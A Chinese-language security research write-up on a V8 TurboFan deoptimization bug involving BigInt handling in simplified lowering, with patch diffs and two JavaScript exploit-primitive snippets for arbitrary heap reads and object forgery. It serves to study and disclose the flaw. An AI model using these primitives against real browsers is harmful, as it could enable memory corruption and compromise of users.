现代Chrome浏览器攻击:优化与反优化技术剖析
引言
2019年底,作者在Azimuth Security内部会议上展示了通过JavaScript引擎攻击Chrome的研究成果。其中一个关键研究方向是反优化机制(deoptimization),特别是反优化器中存在的漏洞。本文基于作者为Azimuth Security编写的内部技术报告,详细分析了V8引擎中一个关键安全漏洞的技术细节。
漏洞背景
漏洞修复提交显示,问题存在于src/compiler/simplified-lowering.cc
中VisitFrameState
和VisitStateValues
函数的处理逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@@ -1197,7 +1197,7 @@
if (TypeOf(input).Is(Type::BigInt())) {
- ProcessInput(node, i, UseInfo::AnyTagged());
+ ConvertInput(node, i, UseInfo::AnyTagged());
}
@@ -1220,11 +1220,22 @@
Node* accumulator = node->InputAt(2);
if (propagate()) {
- EnqueueInput(node, 2, UseInfo::Any());
+ if (TypeOf(accumulator).Is(Type::BigInt())) {
+ EnqueueInput(node, 2, UseInfo::AnyTagged());
+ } else {
+ EnqueueInput(node, 2, UseInfo::Any());
+ }
} else if (lower()) {
+ if (TypeOf(accumulator).Is(Type::BigInt())) {
+ ConvertInput(node, 2, UseInfo::AnyTagged());
+ }
Zone* zone = jsgraph_->zone();
- Node* accumulator = node->InputAt(2);
if (accumulator == jsgraph_->OptimizedOutConstant()) {
|
技术分析
TurboFan简化降低阶段
TurboFan的简化降低阶段分为三个主要部分:
- 截断传播阶段(RunTruncationPropagationPhase) - 向后传播截断信息
- 类型传播阶段(RunTypePropagationPhase) - 向前传播类型反馈信息
- 降低阶段(Run) - 执行节点降低和转换节点插入
反优化机制
当优化代码违反假设时,执行流会重定向到反优化器。反优化器使用代码生成阶段构建的反优化输入数据来:
- 确定反优化目标(如字节码偏移量)
- 构建正确的帧结构(如Ignition寄存器状态)
漏洞原理
该漏洞允许在代码生成阶段错误构建反优化输入数据,导致反优化器:
- 重建伪造对象
- 将执行重定向到Ignition字节码处理器
- 使累加器寄存器引用任意对象指针
漏洞利用
实验1:读取任意堆数值
通过构造特定的BigInt值,可以欺骗反优化器将任意地址当作HeapNumber读取:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
let addr = BigInt(0x11111111);
function setAddress(val) {
addr = BigInt(val);
}
function f(x) {
let y = BigInt.asUintN(49, addr);
try {
var res = 1.1 + y; // 触发反优化
return res;
}
catch(_){ return y}
}
|
实验2:获取任意对象引用
通过反优化到Builtins_StaKeyedPropertyHandler
,可以实现对象属性的任意写入:
1
2
3
4
5
6
7
8
9
|
function f(x) {
let y = BigInt.asUintN(49, addr);
try {
var obj = {};
obj[x] = y; // 违反属性名推测触发反优化
return obj;
}
catch(_){ return y}
}
|
变体分析
该漏洞模式不仅影响FrameState节点,也影响StateValues和ObjectState节点。后续补丁修复了相关回归问题:
1
2
3
4
5
6
7
8
9
10
11
|
void VisitObjectState(Node* node) {
if (propagate()) {
for (int i = 0; i < node->InputCount(); i++) {
+ if (TypeOf(node->InputAt(i)).Is(Type::BigInt())) {
+ EnqueueInput(node, i, UseInfo::AnyTagged());
+ } else {
EnqueueInput(node, i, UseInfo::Any());
+ }
}
}
}
|
结论
本文深入分析了V8引擎中BigInt处理漏洞的技术细节,展示了从TurboFan优化器的简化降低阶段缺陷到实现任意内存读取和对象伪造的完整攻击链。该研究涉及V8引擎多个核心组件,包括Ignition解释器、TurboFan优化器和反优化机制。